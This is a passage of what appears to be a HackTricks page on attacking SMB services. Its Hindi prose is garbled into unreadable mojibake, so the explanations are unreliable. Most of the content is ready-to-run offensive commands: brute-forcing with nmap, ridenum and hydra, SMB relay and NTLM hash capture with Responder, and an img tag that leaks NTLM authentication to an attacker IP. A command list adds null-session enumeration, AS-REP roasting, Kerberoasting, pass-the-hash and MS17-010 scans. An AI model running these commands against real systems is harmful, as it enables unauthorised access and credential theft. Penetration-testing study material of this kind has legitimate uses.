**рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ, рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рдЬрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдПрдХ рдЦрд╛рддрд╛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**
|
||
```bash
|
||
nmap --script smb-brute -p 445 <IP>
|
||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||
```
|
||
## SMB relay attack
|
||
|
||
рдпрд╣ рд╣рдорд▓рд╛ Responder toolkit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ **SMB рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рддреНрд░реЛрдВ** рдХреЛ рдПрдХ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ **рдХреИрдкреНрдЪрд░** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдФрд░ рдЙрдиреНрд╣реЗрдВ рдПрдХ **рд▓рдХреНрд╖реНрдп рдорд╢реАрди** рдкрд░ **рд░рд┐рд▓реЗ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрджрд┐ рдкреНрд░рдорд╛рдгреАрдХрд░рдг **рд╕рддреНрд░ рд╕рдлрд▓** рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЖрдкрдХреЛ рдПрдХ **рд╕рд┐рд╕реНрдЯрдо** **рд╢реЗрд▓** рдореЗрдВ рд▓реЗ рдЬрд╛рдПрдЧрд╛ред\
|
||
[**рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБред**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
## SMB-Trap
|
||
|
||
Windows рдкреБрд╕реНрддрдХрд╛рд▓рдп URLMon.dll рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕ рд╣реЛрд╕реНрдЯ рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдЬрдм рдПрдХ рдкреГрд╖реНрда SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдЫ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `img src="\\10.10.10.10\path\image.jpg"`
|
||
|
||
рдпрд╣ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ:
|
||
|
||
* URLDownloadToFile
|
||
* URLDownloadToCache
|
||
* URLOpenStream
|
||
* URLOpenBlockingStream
|
||
|
||
рдЬреЛ рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдФрд░ рдЙрдкрдХрд░рдгреЛрдВ (рдЬреИрд╕реЗ Skype) рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред
|
||
|
||
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||
|
||
### SMBTrap using MitMf
|
||
|
||
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||
|
||
## NTLM Theft
|
||
|
||
SMB Trapping рдХреЗ рд╕рдорд╛рди, рдПрдХ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рдЧрд╛рдиреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдПрдХ SMB рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдпрд╛рд╕ рдХреЛ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 рд╣реИрд╢ рдХреЛ Responder рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣реИрд╢ рдХреЛ рдлрд┐рд░ рдСрдлрд╝рд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ [SMB relay attack](pentesting-smb.md#smb-relay-attack) рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
|
||
|
||
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||
|
||
## HackTricks Automatic Commands
|
||
```
|
||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for SMB
|
||
Note: |
|
||
While Port 139 is known technically as тАШNBT over IPтАЩ, Port 445 is тАШSMB over IPтАЩ. SMB stands for тАШServer Message BlocksтАЩ. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||
|
||
#These are the commands I run in order every time I see an open SMB port
|
||
|
||
With No Creds
|
||
nbtscan {IP}
|
||
smbmap -H {IP}
|
||
smbmap -H {IP} -u null -p null
|
||
smbmap -H {IP} -u guest
|
||
smbclient -N -L //{IP}
|
||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||
rpcclient {IP}
|
||
rpcclient -U "" {IP}
|
||
crackmapexec smb {IP}
|
||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||
getArch.py -target {IP}
|
||
|
||
With Creds
|
||
smbmap -H {IP} -u {Username} -p {Password}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||
|
||
Entry_2:
|
||
Name: Enum4Linux
|
||
Description: General SMB Scan
|
||
Command: enum4linux -a {IP}
|
||
|
||
Entry_3:
|
||
Name: Nmap SMB Scan 1
|
||
Description: SMB Vuln Scan With Nmap
|
||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||
|
||
Entry_4:
|
||
Name: Nmap Smb Scan 2
|
||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||
|
||
Entry_5:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||
|
||
Entry_6:
|
||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||
|
||
```
|
||
{% hint style="success" %}
|
||
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ</summary>
|
||
|
||
* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ!
|
||
* **рд╣рдорд╛рд░реЗ** ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **рд╣рдореЗрдВ** **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** рдкрд░ рдлреЙрд▓реЛ рдХрд░реЗрдВред**
|
||
* **рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░** [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред
|
||
|
||
</details>
|
||
{% endhint %}
|